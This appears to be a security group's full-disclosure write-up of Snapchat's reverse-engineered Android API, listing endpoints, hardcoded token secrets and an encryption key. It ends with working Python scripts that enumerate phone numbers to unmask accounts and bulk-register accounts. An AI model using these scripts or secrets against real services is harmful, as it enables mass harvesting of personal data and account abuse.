Comments:"Snapchat - GSFD"
URL:http://gibsonsec.org/snapchat/fulldisclosure/
TOC ¶
Foreword and notes Authentication tokens Creating request tokens Creating static tokens Common fields Encrypting/decrypting data Encrypting normal snaps Encrypting stories Index of constants Gzipping data Registering an account (/bq/register, /ph/registeru) Actually registering (/bq/register) Attaching a username (/ph/registeru) Logging in (/bq/login) Logging out (/ph/logout) Fetching snap data (/ph/blob) Uploading and sending snaps (/ph/upload, /ph/send) Uploading your media (/ph/upload) Sending it off (/ph/send) Resending a failed snap (/ph/retry) Posting to a story (/bq/post_story) Deleting story segments (/bq/delete_story) Appending segments to a story directly (/bq/retry_post_story) Posting to a story and sending a snap (/bq/double_post) Finding your friends (/ph/find_friends) Making - or losing - friends (/ph/friend) Getting your friends' best friends (/bq/bests) Getting your friends stories (/bq/stories) Getting updates (/bq/updates) Sending updates (/bq/update_snaps) Sending more updates (/bq/update_stories) Clearing your feed (/ph/clear) Updating your account settings (/ph/settings) Updating your attached email Updating your account privacy Updating your story privacy Updating your maturity settings Updating feature settings (/bq/update_feature_settings) Choosing your number of best friends (/bq/set_num_best_friends) Obligatory exploit POCs The find_friends exploit Bulk registration of accountsForeword and notes ¶
Given that it's been around four months since our last Snapchat release, we figured we'd do a refresher on the latest version, and see which of the released exploits had been fixed (full disclosure: none of them). Seeing that nothing had been really been improved upon (although, stories are using AES/CBC rather than AES/ECB, which is a start), we decided that it was in everyone's best interests for us to post a full disclosure of everything we've found in our past months of hacking the gibson.
In the time since our previous release, there have been numerouspublicSnapchatapiclients created on GitHub. Thankfully, Snapchat are too busy declining ridiculously high offers from Facebook and Google, and lying to investors (hint: they have no way to tell the genders of their users, see /bq/register
for a lack of gender specification) to send unlawful code takedown requests to all the developers involved.
As always, we're contactable via @gibsonsec and [email protected]. Merry Gibsmas!
Technical mumbo-jumbo ¶
This documentation is based on the current build (4.1.01
at the time of writing 23-12-2013) of Snapchat for Android. The Android app uses a mixture of /ph
and /bq
endpoints - the iOS app is pure /bq
, but we haven't documented them all, sorry!
You can use api.snapchat.com
, feelinsonice.appspot.com
or feelinsonice-hrd.appspot.com
as hosts for the API endpoints - they're all the same address at the end of the day.
The documentation may be broken, incomplete, outdated or just plain wrong. We try our best to keep things valid as much as possible, but we're only human after all.
NB! As of the current time of writing, there are two unknown reply fields scattered around the API responses. These are marked with an N/A
- explanations welcome to [email protected]. Fields with an asterisk after them (e.g: zipped
*) means it's an optional field.
Authentication tokens ¶
Authentication with Snapchat's API is done via a token sent in each request under the name req_token
.
In general, it is a combination of two hashes (each salted with the secret), as defined by a specific pattern.
You'll be using your normal auth_token
for most requests - a few require a static token, which we'll get to in a bit.
Here is some example Python that implements the secret req_token hash:
defrequest_token(auth_token,timestamp):secret="iEk21fuwZApXlz93750dmW22pw389dPwOk"pattern="0001110111101110001111010101111011010001001110011000110001000110"first=hashlib.sha256(secret+auth_token).hexdigest()second=hashlib.sha256(str(timestamp)+secret).hexdigest()bits=[first[i]ifc=="0"elsesecond[i]fori,cinenumerate(pattern)]return"".join(bits)# Here's a benchmark to make sure your implementation works:# >>> request_token("m198sOkJEn37DjqZ32lpRu76xmw288xSQ9", 1373209025)# '9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b'
- Things to note:
- The secret is
iEk21fuwZApXlz93750dmW22pw389dPwOk
- You need twosha256 hashes. secret + auth_token timestamp + secret
- The pattern is
0001110111101110001111010101111011010001001110011000110001000110
0
means take a character from hash 1 at the point.1
means take a character from hash 2 at the point.
Creating request tokens ¶
To create a request token (which you will need for 90% of requests), you need to:
- Take the
auth_token
you got from logging in - Take the current
timestamp
(epoch/unix timestamp) which you'll need for the req_token and inclusion in the request. - Run
request_token(auth_token, timestamp)
- Include it in your request!
Creating static tokens ¶
If you're logging in, you won't have an auth_token yet. Not to fear!
- Take the static token,
m198sOkJEn37DjqZ32lpRu76xmw288xSQ9
- Take the current
timestamp
- Run
request_token(static_token, timestamp)
- Include it in your request!
Common fields ¶
There are a few fields that are common to most requests and responses:
Requests:
Responses:
Encrypting/decrypting data ¶
Encrypting normal snaps ¶
- All standard media (read: picture and video) data sent to Snapchat is:
- Padded using PKCS#5.
- Encrypted using AES/ECB with a single synchronous key:
M02cnQ51Ji97vwT4
Encrypting stories ¶
- Stories are:
- Padded using PKCS#7.
- Encrypted using AES/CBC with a unique IV and key per piece of the story (i.e, there isn't a single key/IV you can use).
- You can find a
media_key
andmedia_iv
deep within the return values of a request to/bq/stories
.
- You can find a
- The server does the AES/CBC encryption - segments are sent to the server using the normal AES/ECB (
M02c..
) encryption.StoryEncryptionAlgorithm#encrypt
just callsSnapEncryptionAlgorithm#encrypt
.
Here's a rough idea of how to decrypt them:
# To find `media_key` and `media_iv`, see: /bq/stories documentationimportrequestsimportbase64importmcryptres=requests.post(...)# POST /bq/stories and ensure res is a dict.data=requests.get(...)# GET /bq/story_blob?story_id=XXXXX from resultkey=base64.b64decode(res[...]["media_key"])iv=base64.b64decode(res[...]["media_iv"])m=mcrypt.MCRYPT("rijndael-128","cbc")m.init(key,iv)dedata=m.decrypt(data)# Boom.
Index of constants ¶
These are just some constants you'll undoubtedly come across working with Snapchat.
- static_token
`m198sOkJEn37DjqZ32lpRu76xmw288xSQ9`
Used to create a req_token to log in to an account.
- ENCRYPT_KEY_2
`M02cnQ51Ji97vwT4`
Used to encrypt/decrypt standard snap data (using AES/ECB)
- req_token pattern
`0001110111101110001111010101111011010001001110011000110001000110`
Used to create a valid req_token. `0` means $hash1, `1` means $hash2.
Where: $hash1 = sha256(secret + auth_token) and
$hash2 = sha256(timestamp + secret)
- req_token secret
`iEk21fuwZApXlz93750dmW22pw389dPwOk`
Used to salt the hashes used in generating req_tokens.
- various media types:
IMAGE = 0
VIDEO = 1
VIDEO_NOAUDIO = 2
FRIEND_REQUEST = 3
FRIEND_REQUEST_IMAGE = 4
FRIEND_REQUEST_VIDEO = 5
FRIEND_REQUEST_VIDEO_NOAUDIO = 6
- various media states:
NONE = -1
SENT = 0
DELIVERED = 1
VIEWED = 2
SCREENSHOT = 3
- Snapchat's User-agent:
`Snapchat/<snapchat-build> (<phone-model>; Android <build-version>; gzip)`
e.g.: `Snapchat/4.1.01 (Nexus 4; Android 18; gzip)`
This isn't constant per se, but you should send it in your requests anyway.
Get the Android build version from here: http://developer.android.com/reference/android/os/Build.VERSION_CODES.html (18 is Jelly Bean 4.3, for example)
NB! Snapchat will fake the `<snapchat-build>` as `3.0.2` if it can't figure out its own build. So you can use that if you'd like.
Gzipping data ¶
NB! We're sort of hazy on the details and specifics of when you can and can't send gzipped data. Some endpoints appear to support it, others don't. We tried various combinations of encryption, gzipping and other combinations thereof, but got inconsistent results. Your mileage may vary.
Specific fields (mainly snap upload related, as expected) are sent gzipped (if it's supported). This means, where you see a data
field, you can sometimes (it's inconsistent) gzip the data, send it as data
and set zipped: 1
(note: it's still encrypted prior to gzipping).
How you gzip data will vary in your language, but in Python, it's as easy as:
fromStringIOimportStringIOimportgzipzipped=StringIO()gz=gzip.GzipFile(fileobj=zipped,mode="w")gz.write(encrypted_snap_data)gz.close()# Send this as `data`, with `zipped: 1`:gzdata=zipped.getvalue()
Registering an account (/bq/register
, /ph/registeru
) ¶
Actually registering (/bq/register
) ¶
{timestamp:1373207221,req_token:create_token(static_token,1373207221),email:"[email protected]",password:"password",age:19,birthday:"1994-11-15"}
If your request is successful, you'll see something like this:
{token:"10634960-5c09-4037-8921-4c447a8c6aa9",email:"[email protected]",snapchat_phone_number:"+15557350485",logged:true}
NB! Even though your request failed (as indicated by logged
), you'll still get a 200 OK
reply.
If your request failed, you'll see something like this:
{message:"[email protected] is already taken! Login with that email address or try another one",logged:false}
Attaching a username (/ph/registeru
) ¶
{timestamp:1373207221,req_token:create_token(static_token,1373207221),email:"[email protected]",username:"youraccount"}
If your request succeeded, you'll see something similar to logging in (/bq/login
).
If your request failed, you'll see something like:
{message:"Invalid username. Letters and numbers with an optional hyphen, underscore, or period in between please!",logged:false}
Logging in (/bq/login
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(static_token,1373207221),password:"yourpassword"}
If your reply was successful, you'll get back something like this:
{bests:["someguy"],score:0,number_of_best_friends:1,received:0,logged:true,added_friends:[{ts:1384417608610,name:"somedude",display:"",type:0},{ts:1385130955168,name:"random",display:"",type:1}],beta_expiration:0,beta_number:-1,requests:[{display:"",type:1,ts:1377613760506,name:"randomstranger"}],sent:0,story_privacy:"FRIENDS",username:"youraccount",snaps:[{id:"894720385130955367r",sn:"someguy",ts:1385130955367,sts:1385130955367,m:3,st:1},{id:"116748384417608719r",sn:"randomdude",ts:1384417608719,sts:1384417608719,m:3,st:1},{id:"325924384416555224r",sn:"teamsnapchat",t:10,ts:1384416555224,sts:1384416555224,m:0,st:1}],friends:[{can_see_custom_stories:true,name:"teamsnapchat",display": Team Snapchat",type:0},{can_see_custom_stories:true,name:"someguy",display:"Some Guy",type:0},{can_see_custom_stories:true,name:"youraccount",display:"",type:1}],device_token:"",feature_settings:{},snap_p:1,mobile_verification_key:"MTMzNzpnaWJzb24=",recents:["teamsnapchat"],added_friends_timestamp:1385130955168,notification_sound_setting:"OFF",snapchat_phone_number:"+15557350485",auth_token:"85c32786-0c71-44bf-9ba0-77bf18c61db2",image_caption:false,is_beta:false,current_timestamp:1385378822645,can_view_mature_content:false,email:"[email protected]",should_send_text_to_verify_number:true,mobile:""}
added_friends
is a list of:
requests
is a list of:
snaps
is a list of:
friends
is a list of:
Logging out (/ph/logout
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),json:"{}",events:"[]"}
If your request was successful, you'll get back a 200 OK
with no body content.
Doing this makes your authentication token stale - you can't reuse it.
Fetching snap data (/ph/blob
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),id:"97117373178635038r"}
If your request is successful, you will get 200 OK
followed by the blob data for the snap you requested:
- The returned blob is encrypted. See: Encrypting/decrypting data
- Once decrypted, images will start with
\xFF\xD8\xFF\xE0
- almost always JPEG. - Once decrypted, videos will start with
\x00\x00\x00\x18
- almost always MPEG-4. - PNG (
\x89PNG
) and GIF (GIF8
) are uncommon but can be sent by custom clients, as they appear to display correctly.
Your request may be met with 410 Gone
if you requested an image that:
Uploading and sending snaps (/ph/upload
, /ph/send
) ¶
Sending snaps are done in two parts - you upload the media, then tell Snapchat who to send it to.
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221)media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",type:0,data:ENCRYPTED_SNAP_DATA}
If your request was successful, you'll get a 200 OK
with no body content.
NB! You need to store the media_id
to use in /ph/send
.
Sending it off (/ph/send
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",recipient:"teamsnapchat,someguy",time:5,zipped:"0"}
If your request was successful, you'll get a 200 OK
with no body content.
Resending a failed snap (/ph/retry
) ¶
/ph/retry
is much like a combined endpoint for /ph/upload
and /ph/send
.
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"type:0,data:ENCRYPTED_SNAP_DATA,zipped:"0",recipient:"teamsnapchat,someguy",time:5}
If your request was successful, you'll get a 200 OK
with no body content.
Posting to a story (/bq/post_story
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",client_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",caption_text_display:"Foo, bar, baz!",thumbnail_data:ENCRYPTED_THUMBNAIL_DATA,zipped:"0",type:0,time:10}
NB! You get the media_id
by first uploading your media.
NB! Your media_id
and client_id
have to be in the format YOURACCOUNT~UUID
- otherwise this will return 400 Bad Request
.
If your request was successful, you'll get something like this back:
{json:{story:{caption_text_display:"Foo, bar, baz!",id:"youraccount~1385123930172",username:"youraccount",mature_content:false,client_id:"YOURACCOUNT~E5273F6E-EF69-453A-BE05-EC232AD7482C",timestamp:1385123930172,media_id:"5926704455352320",media_key:"rlcTSuolqwhiatuqT6533fbcyBvIU7e/i4ZFZPxFtco=",media_iv:"YXyO2gJ4PuLhwlHohxGOFE==",thumbnail_iv:"DrcQC5VRkjw+8KLp489xFA==",media_type:0,time:10.0,time_left:86399893,media_url:"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5676384469352890",thumbnail_url:"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5911704785345329"}}}
If your request was successful you'll get back a 202 Accepted
with some JSON body content:
r.json.story
is a dictionary of:
Deleting story segments (/bq/delete_story
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),story_id:"youraccount~1382716927240"}
If your request was successful, you'll get back a 200 OK
with no body content.
Appending segments to a story directly (/bq/retry_post_story
) ¶
This is the same as posting to a story, however there is an extra field (data
) sent:
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",client_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",caption_text_display:"Foo, bar, baz!",thumbnail_data:ENCRYPTED_THUMBNAIL_DATA,zipped:"0",type:0,time:10,data:ENCRYPTED_STORY_DATA}
If your request was successful, you'll get back something similar to posting to a story
Posting to a story and sending a snap (/bq/double_post
) ¶
This is the same as sending a normal snap, however there are extra fields sent:
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),media_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",client_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",recipient:"teamsnapchat,someguy",caption_text_display:"Foo, bar, baz!",thumbnail_data:ENCRYPTED_THUMBNAIL_DATA,type:0,time:5}
If your request failed you'll most likely get a 400 Bad Request
.
If your request was successful, you'll get something like this back:
{story_response:{json:{story:{caption_text_display:"Foo, bar, baz!",id:"youraccount~1385367025231",username:"youraccount",mature_content:false,client_id:"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",timestamp:1385367025231,media_id:"6539144374653924",media_key:"/crVtkYOvpDOVA8C8MhR+qWlzFkFodQi+2iOAK84E+Q=",media_iv:"oBp82Gr0tGHfBzC42cyleg==",thumbnail_iv:"UvCn/A+2qrXchJG0J6gCSw==",media_type:0,time:5.0,time_left:86399908,media_url:"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6539144374653924",thumbnail_url:"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6539144374653924"}},success:true},snap_response:{success:true}}
This reply is split into two portions: story_response
and snap_response
.
Both fields (story_response
and snap_response
) contain success
, which is similar to the common field, logged
.
story_response.json.story
Finding your friends (/ph/find_friends
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),countryCode:"US",numbers:"{\"2125554240\": \"Norm (Security)\", \"3114378739\": \"Stephen Falken\"}"}
{logged:true,results:[{name:"norman",display:"Norm (Security)",type:1},{name:"stephenfalken",display:"Stephen Falken",type:0}]}
The results
field contains a list of maps each with three fields:
Making - or losing - friends (/ph/friend
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"add",friend:"someguy"}
NB! The action display
requires an extra field called display
, which is the display name you're applying to the user.
If your request was successful, you'll get something like this back:
{message:"someguy was blocked",param:"someguy",logged:true}
Getting your friends' best friends (/bq/bests
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),friend_usernames:"['teamsnapchat','another_username']",}
NB! Any usernames that are not on your friends list will be completely omitted from the response.
If the request was successful, you'll get a response similar to this:
{teamsnapchat:{best_friends:["friend_one","friend_two","friend_three"],score:100},another_username:{best_friends:["friend_one","friend_two","friend_three"],score:100}}
Getting your friends stories (/bq/stories
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221)}
If your request was successful, you'll get back something like this (hefty reply):
{mature_content_text:{title:"Content Warning",message:"The red exclamation mark on this Story indicates that Stories posted by this user may not be suitable for sensitive viewers. Do you wish to continue? After selecting 'Yes', you will never be prompted again.",yes_text:"Yes",no_text:"No"},my_stories:[{story:{id:"youraccount~1386362095231",username:"youraccount",mature_content:false,client_id:"YOURACCOUNT~e87a8f71-078b-4483-b051-b78f3d008717",timestamp:1386362095231,media_id:"6529624334955984",media_key:"/crVtkYOvpBAV08C8MhH+hWl4FDFodCi+2iOAK84E+Q=",media_iv:"oBp22Gr0t2HABDC4Wcylng==",thumbnail_iv:"UvCn/A+AqwXDCJG0Y6gCSw==",media_type:0,time:5.0,time_left:5885762,media_url:"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6529624334955984",thumbnail_url:"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6529624334955984"},story_notes:[{viewer:"someguy",screenshotted:false,timestamp:1385367139674,storypointer:{"mKey":"story:{youraccount}:19841127","mField":"071025.221Z"}}],story_extras:{view_count:1,screenshot_count:0}},{story:{id:"youraccount~1386362095231",username:"youraccount",mature_content:false,client_id:"YOURACCOUNT~eb53ae24-7534-40e6-4a00-b611a90ab6c4",timestamp:1386362095231,media_id:"7799203240896396",media_key:"dvv5/CXFOwOkskitqrX/x2PkQarzHAbPMwkzM0aWHIY=",media_iv:"4hJppjXvdjjqIgjxG6vExQ==",thumbnail_iv:"rC4UM3bgGPTTg7ovzO1fug==",media_type:0,time:5.0,caption_text_display:"Hack the planet, hack the planet!",time_left:5658516,media_url:"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=7799203240896396",thumbnail_url:"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=7799203240896396"},story_notes:[{viewer:"someguy",screenshotted:true,timestamp:1385366714056,storypointer:{"mKey":"story:{youraccount}:19841127","mField":"070637.986Z"}}],story_extras:{view_count:1,screenshot_count:0}}],friend_stories:[{username:"someguy",stories:[{story:{id:"someguy~1385439004799",username:"someguy",mature_content:false,client_id:"SOMEGUY~24823793-8333-4542-QF6C-D765CD6786D4",timestamp:1385452007799,media_id:"5549685943463504",media_key:"m1/kTyqt0E55jPyX+PexCP1++PUxTM6lqZC8kU/zcgI=",media_iv:"GvH/izpqBVBZQaAlmxWSSA==",thumbnail_iv:"Jx4tNSAaCuIkSX5DttTZJw==",media_type:0,time:10.0,zipped:false,time_left:86361636,media_url:"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5549685943463504",thumbnail_url:"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5549685943463504"},viewed:false}]}]}
my_stories.story
is a dictionary of:
my_stories.story_notes
is a list of:
my_stories.story_notes.storypointer
is a dictionary of:
my_stories.story_extras
is a dictionary of:
friend_stories
is a list of:
friend_stories.stories.story
is a dictionary of:
Getting updates (/bq/updates
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221)}
If your request was successful, you'll get back something like a request from logging in.
Sending updates (/bq/update_snaps
) ¶
This lets you report snaps as viewed or screenshotted.
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),added_friends_timestamp:1373206707,json:"{\"325922384426455124r\":{\"c\":0,\"t\":1385378843,\"replayed\":0}}",events:"[]"}
json
is a string representation of a dictionary like:
events
is a string representation of a list of dictionaries like:
If your request was successful, you'll get back a 200 OK
with no body content.
Sending more updates (/bq/update_stories
) ¶
This lets you report stories as viewed or screenshotted (much like above).
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),friend_stories:"[{\"id\":\"someguy~1385712923240\",\"screenshot_count\":0,\"timestamp\":1385712932690}]"}
friend_stories
is a string representation of a list of dictionarys like:
If your request was successful, you'll get back a 200 OK
with no body content.
Clearing your feed (/ph/clear
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221)}
If your request was successful, you'll get back a 200 OK
with no body content.
Updating your account settings (/ph/settings
) ¶
There are a few request fields that are consistent in use across /ph/settings
:
Updating your birthday ¶
{username:"youraccount".timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updateBirthday",birthday:"02-25"}
If your request was successful, you'll get something like this back:
{logged:true,message:"Birthday updated",param:"0000-02-25"}
Updating your attached email ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updateEmail",email:"[email protected]"}
If your request was successful, you'll get something like this back:
Updating your account privacy ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updatePrivacy",privacySetting:"1"}
If your request was successful, you'll get something like this back:
{logged:true,message:"Snap privacy updated",param:"1"}
Updating your story privacy ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updateStoryPrivacy",privacySetting:"EVERYONE"}
The privacy setting CUSTOM
requires an extra field called storyFriendsToBlock
:
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updateStoryPrivacy",privacySetting:"CUSTOM",storyFriendsToBlock:"['teamsnapchat','another_username']"}
If your request was successful, you'll get something like this back:
{logged:true,message:"Story privacy updated",param:"EVERYONE"}
Updating your maturity settings ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),action:"updateCanViewMatureContent",canViewMatureContent:true}
For some reason this never replies with anything other than a 200 OK
with no body content.
If your request was successful (read: didn't break), you'll get a 200 OK
with no body content.
Updating feature settings (/bq/update_feature_settings
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),settings:"{\"smart_filters\": false, \"visual_filters\": false, \"special_text\": true, \"replay_snaps\": false, \"front_facing_flash\": false}"}
If your request was successful, you'll get back a 200 OK
with no body content.
Choosing your number of best friends (/bq/set_num_best_friends
) ¶
{username:"youraccount",timestamp:1373207221,req_token:create_token(auth_token,1373207221),num_best_friends:3}
If your request was successful, you'll get back something like this back:
{best_friends:["someguy","gibsec"]}
Obligatory exploit POCs ¶
What would our full disclosure be if not tied together with some obligatory proof of concept scripts? We've taken some of our favorite exploits and turned them into lovely POC scripts for you to tinker with and hack to your heart's content.
The find_friends exploit ¶
This is one of our personal favorites since it's just so ridiculously easy to exploit. A single request (once logged in, of course!) to /ph/find_friends
can find out whether or not a phone number is attached to an account.
This is one of the things we initially wrote about in our previous release, approximately four months ago (at the time of writing)! They've yet to add any rate limiting to this, so we thought we'd add a non-watered down version of the exploit to this release; maybe Evan Spiegel will fix it when someone finds his phone number via this?
We did some back-of-the-envelope calculations based on some number crunching we did (on an unused range of numbers). We were able to crunch through 10 thousand phone numbers (an entire sub-range in the American number format (XXX) YYY-ZZZZ
- we did the Z's) in approximately 7 minutes on a gigabit line on a virtual server. Given some asynchronous optimizations, we believe that you could potentially crunch through that many in as little as a minute and a half (or, as a worst case, two minutes). This means you'd be railing through as many as 6666 phone numbers a minute (or, in our worst case, 5000!).
Using the reported 8 million users in June as a rough estimate for Snapchat's user base (however, it will have undoubtedly exponentially grown since then), we can do some rough calculations on how long it would take to crunch through all of Snapchat's user base:
Given user_base = 8e6
(8 million), and a numbers crunchable per minute (ncpm
) of approximately 6666
, we can assume that it would take approximately 20 hours for one $10 virtual server to eat through and find every user's phone number (hours = user_base / (ncpm*60)
). At our worst case of ncpm = 5000
, it would take approximately 26.6 hours.
This is all assuming that user's phone numbers are:
- All incremental (e.g.
(000) 000-0000
,(000) 000-0001
, ...) - All American.
Evidently (fortunately?) this is not the case, however, it's sort of scary to think about, isn't it? Hopping through the particularly "rich" area codes of America, potential malicious entities could create large databases of phone numbers -> Snapchat accounts in minutes.
In an entire month, you could crunch through as many as 292 million numbers with a single server ((ncpm*60)*730
, approximately 730 hours in a month). Add more servers (or otherwise increase your number crunching capabilities) and you can get through a seemingly infinite amount of numbers. It's unlikely Snapchat's end would ever be the bottleneck in this, seeing as it's run on Google App Engine, which (as we all know) is an absolute tank when it comes to handling load.
The following script will simply read a list of numbers from stdin, iterate through them and write any results to stdout.
Use it like: python2 find_friends.py $username $password < numbers.txt > results.txt
#!/usr/bin/env python2# python2 find_friends.py $username $password < numbers.txt > results.txtimportrequestsimporthashlibimportjsonimportsysdefrequest_token(auth_token,timestamp):secret="iEk21fuwZApXlz93750dmW22pw389dPwOk"pattern="0001110111101110001111010101111011010001001110011000110001000110"first=hashlib.sha256(secret+auth_token).hexdigest()second=hashlib.sha256(str(timestamp)+secret).hexdigest()bits=[first[i]ifc=="0"elsesecond[i]fori,cinenumerate(pattern)]return"".join(bits)numbers=sys.stdin.read().split("\n")base="https://feelinsonice.appspot.com"r=requests.post(base+"/bq/login",data={# These are hardcoded, just because it's easy."req_token":"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b","timestamp":1373209025,"username":sys.argv[1],"password":sys.argv[2]},headers={"User-agent":None})auth_token,username=r.json()["auth_token"],r.json()["username"]# We can hardcode these as well.static={"req_token":request_token(auth_token,1373209025),"countryCode":"US","timestamp":1373209025,"username":username}fornumberinnumbers:n=json.dumps({number:"J. R. Hacker"})r=requests.post(base+"/ph/find_friends",data=dict(static,numbers=n),headers={"User-agent":None}).json()iflen(r["results"])<1:continuesys.stdout.write("{0} -> {1}\n".format(number,r["results"][0]["name"]))sys.stdout.flush()
Bulk registration of accounts ¶
This isn't so much of an exploit as taking advantage of the really lax registration functionality. Two requests, /bq/register
and /ph/registeru
can give you an account.
This script reads a list of accounts from stdin, attempts to register them, then prints the valid registered accounts to stdout. Format your account list like this:
account1:password1:[email protected]
account2:password2:[email protected]
account3:password3:[email protected]
... ad infinitum
Use it like: python2 bulk_register.py < accounts.txt > registered.txt
#!/usr/bin/env python2# python2 bulk_register.py < accounts.txt > registered.txt# format accounts.txt like `username:password:email`importrequestsimportsysaccounts=[a.split(":")forainsys.stdin.read().split("\n")ifa.strip()!=""]base="https://feelinsonice.appspot.com"foraccountinaccounts:username,password,email=accountreg=requests.post(base+"/bq/register",data={"req_token":"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b","timestamp":1373209025,"email":email,"password":password,"age":19,"birthday":"1994-11-27",},headers={"User-agent":None})ifnotreg.json()["logged"]:continuenam=requests.post(base+"/ph/registeru",data={"req_token":"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b","timestamp":1373209025,"email":email,"username":username},headers={"User-agent":None})ifnotnam.json()["logged"]:continuesys.stdout.write(":".join(account)+"\n")sys.stdout.flush()